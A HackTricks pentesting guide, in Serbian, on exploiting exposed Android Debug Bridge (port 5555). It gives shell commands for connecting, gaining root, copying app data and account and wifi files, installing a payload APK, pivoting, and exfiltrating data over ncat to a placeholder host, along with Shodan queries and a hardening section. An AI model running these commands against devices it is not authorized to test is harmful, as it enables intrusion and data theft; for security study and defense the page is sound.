5555 - Android Debug Bridge

Reading time: 7 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Iz dokumentacije:

Android Debug Bridge (adb) je alat komandne linije za komunikaciju sa uređajima i emulatorima zasnovanim na Androidu. Tipične radnje uključuju instalaciju paketa, debagovanje i dobijanje interaktivnog Unix shell-a na uređaju.

  • Istorijski podrazumevani TCP port: 5555 (klasični "adb tcpip" režim).
  • Moderno bežično debagovanje (Android 11+) koristi TLS uparivanje i mDNS otkrivanje usluga. Port za povezivanje je dinamičan i otkriva se putem mDNS; možda neće biti 5555. Uparivanje se vrši sa adb pair host:port, a zatim adb connect. Pogledajte beleške u nastavku za ofanzivne implikacije.

Primer nmap otiska:

PORT     STATE SERVICE VERSION
5555/tcp open  adb     Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)

Poveži se

Ako pronađeš ADB izložen i dostupan, pokušaj brzo da se povežeš i izvršiš enumeraciju:

bash
adb connect <ip>[:<port>]      # Default is 5555 for classic mode
adb devices -l                 # Confirm it shows as "device" (not unauthorized/offline)
adb shell                      # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true               # Works on eng/userdebug/insecure builds, many emulators/IoT
  • Ako uređaj primenjuje ADB autentifikaciju (ro.adb.secure=1), bićete potrebni da budete unapred autorizovani (USB RSA auth) ili da koristite Android 11+ bežično uparivanje za debagovanje (što zahteva jednokratni kod prikazan na uređaju).
  • Neki proizvođački imidži, inženjerske/userdebug verzije, emulatori, televizori, STB-ovi i razvojni kompleti izlažu adbd bez autentifikacije ili sa adbd koji radi kao root. U tim slučajevima, obično ćete direktno ući u shell ili root shell.

Za opšti ADB referentni vodič, pogledajte:

ADB Commands

Brza Post-Exploatacija

Kada imate shell, proverite privilegije i SELinux kontekst:

bash
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint

Enumerate and capture data

  • Lista aplikacija trećih strana i putanja:
bash
pm list packages -3
pm path <pkg>
  • Ako imate root (adb root ili su rade), možete pristupiti /data direktno. Ako ne, preferirajte run-as za aplikacije koje se mogu debagovati:
bash
# Bez roota, za aplikaciju koja se može debagovati
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>

# Sa rootom
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
  • Korisni sistemski artefakti (potreban root):
  • /data/system/users/0/accounts.db i povezani AccountManager podaci
  • /data/misc/wifi/ (mrežne konfiguracije/ključevi na starijim verzijama)
  • Specifične SQLite DB-ove aplikacija i shared_prefs pod /data/data/

Možete koristiti ovo za preuzimanje osetljivih informacija (npr., tajne aplikacije). Za beleške o razmatranjima podataka Chrome-a, pogledajte problem referenciran ovde.

Code execution and payload delivery

  • Instalirajte i automatski dodelite dozvole za vreme izvođenja:
bash
adb install -r -g payload.apk         # -g dodeljuje sve dozvole za vreme izvođenja navedene u manifestu
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
  • Pokrenite aktivnosti/usluge/emitovanja direktno:
bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>

Port forwarding and pivoting

Čak i bez roota, adb može preusmeriti lokalne portove na portove uređaja i obrnuto. Ovo je korisno za pristup uslugama vezanim lokalno na uređaju ili za izlaganje usluga napadača uređaju.

  • Preusmeravanje host->uređaj (pristup lokalnoj usluzi uređaja sa vašeg hosta):
bash
adb forward tcp:2222 tcp:22       # Ako uređaj pokreće SSH (npr., Termux/Dropbear)
adb forward tcp:8081 tcp:8080     # Izložite lokalni debug server aplikacije
  • Obrnuto preusmeravanje uređaj->host (omogućite uređaju da dođe do usluge na vašem hostu):
bash
adb reverse tcp:1080 tcp:1080     # Aplikacije na uređaju sada mogu doći do host:1080 kao 127.0.0.1:1080
  • Ekstrakcija fajlova preko soketa (bez pisanja na sdcard):
bash
# Na hostu: slušajte
ncat -lvp 9000 > dump.tar
# Na uređaju: pošaljite direktorijum kao tar (root ili run-as prema potrebi)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000

Wireless Debugging (Android 11+)

Moderni Android implementira TLS-zaštićeno bežično debagovanje sa uparivanjem sa strane uređaja i mDNS otkrivanjem:

bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port>   # Enter the 6-digit code shown on device
adb mdns services                  # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>

Notes

  • Portovi su dinamični; ne pretpostavljajte 5555. mDNS imena usluga izgledaju ovako:
  • _adb-tls-pairing._tcp (pariranje)
  • _adb-tls-connect._tcp (povezivanje)
  • _adb._tcp (legacy/plain)
  • Ako je mDNS filtriran, klasično omogućavanje putem USB-a može i dalje raditi na nekim verzijama: adb tcpip 5555 zatim adb connect <ip>:5555 (do ponovnog pokretanja).

Ofanzivne implikacije: ako možete da interagujete sa UI uređaja (npr. fizički pristup ili pogrešna konfiguracija mobilnog MDM) da omogućite bežično debagovanje i vidite kod za pariranje, možete uspostaviti dugotrajni ADB kanal bez kabla. Neki OEM-ovi izlažu ADB preko TCP-a u inženjerskim/dev slikama bez pariranja—uvek proverite.

Hardening / Detection

Defanzivci bi trebali pretpostaviti da je svaki dostupni adbd (TCP) kritički rizik.

  • Onemogućite ADB i bežično debagovanje kada nisu potrebni. Oduzmite ovlašćenja za USB debagovanje u opcijama za programere.
  • Osigurajte da mrežna politika blokira dolazni TCP/5555 i mDNS zasnovano ADB otkrivanje na nepouzdanim segmentima.
  • Na uređajima pod vašom kontrolom:
bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1   # onemogućite TCP slušanje (ili koristite: adb usb)
stop adbd; start adbd             # restartujte demon
  • Pratite mDNS zapise _adb._tcp, _adb-tls-connect._tcp, _adb-tls-pairing._tcp na korporativnim mrežama i upozorenja za neočekivane 5555 slušaoce.
  • Inventar za nesigurne verzije: getprop ro.debuggable, ro.build.type, i ro.adb.secure.

Shodan

  • android debug bridge
  • port:5555 product:"Android Debug Bridge"

References

  • Android Developers – Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
  • AOSP – ADB over Wi‑Fi, pairing and mDNS service names: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks